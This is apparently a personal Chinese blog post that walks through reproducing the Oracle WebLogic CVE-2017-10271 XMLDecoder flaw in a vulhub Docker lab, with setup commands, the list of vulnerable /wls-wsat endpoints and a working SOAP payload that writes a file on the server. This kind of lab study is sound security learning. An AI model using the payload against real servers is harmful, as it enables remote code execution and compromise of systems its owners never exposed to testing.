漏洞简介
漏洞编号:
CVE-2017-10271
漏洞详情:
Oracle Fusion Middleware 中的 Oracle WebLogic Server 组件的 WLS Security 子组件存
在安全漏洞。使用精心构造的 xml 数据可能造成任意代码执行,攻击者只需要发送精心构造
的 HTTP 请求,就可以拿到目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的
可用性、保密性和完整性。
漏洞影响范围:
Oracle WebLogic Server 10.3.6.0.0 版本
Oracle WebLogic Server 12.1.3.0.0 版本
Oracle WebLogic Server 12.2.1.1.0 版本
漏洞复现
环境搭建:
安装docker
1. curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
2. yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
3. yum install docker-ce
4. systemctl start docker
更换镜像的下载源
vi /etc/docker/daemon.json
直接替换里面的内容为:
{
“registry-mirrors”: [“https://xxxxx.mirrors.aliyun.com”]
}
网址在阿里云容器镜像服务获取:
https://www.aliyun.com/product/acr?spm=a2c4g.11174283.2.1.625e4541j1IFor
重启docker服务:
systemctl daemon-reload
systemctl restart docker
测试docker服务是否正常:
docker pull busybox
docker run busybox echo “hello world”
输出hello world即docker正常运行。
部署漏洞所需环境:
复现漏洞可以直接使用vulhub上的docker镜像
项目可以下载至任意目录下,我这里在root目录下
git clone https://github.com/vulhub/vulhub
进入项目需要复现的漏洞编号下
cd vulhub/vulhub-master/weblogic/CVE-2017-10271
把我们需要的项目起来
docker-compose up -d
此命令需要python环境,还需要再单独下载
yum install -y python38
可能yum源里没有python38,也可以装其他版本,可以执行get-pip.py文件即可
wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
pip -version
pip install docker-compose
环境搭建完成,测试docker运行情况,查看映射端口:
docker ps
端口号为7001,浏览器打开虚拟机ip+7001端口测试出现下图则说明环境搭建成功。
漏洞验证
访问漏洞地址(任选一):
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
访问用burp抓包,修改内容如下
Upgrade-Insecure-Requests: 1
Content-Type:text/xml
Content-Length: 673<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.6.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"><string>xmldecoder_vul_test</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
注意!!一定要有
Upgrade-Insecure-Requests: 1
Content-Type:text/xml
访问我们执行的payload创建的测试文件
http://192.168.0.105:7001/wls-wsat/test.txt
漏洞复现完成,漏洞更多利用方式还请自行发觉,fighting!!
第一次发博客,也是照着大佬们的博客写的,但是自己都做了两遍,里面也有自己的理解,也许没人看,记录自己学习日常,加油!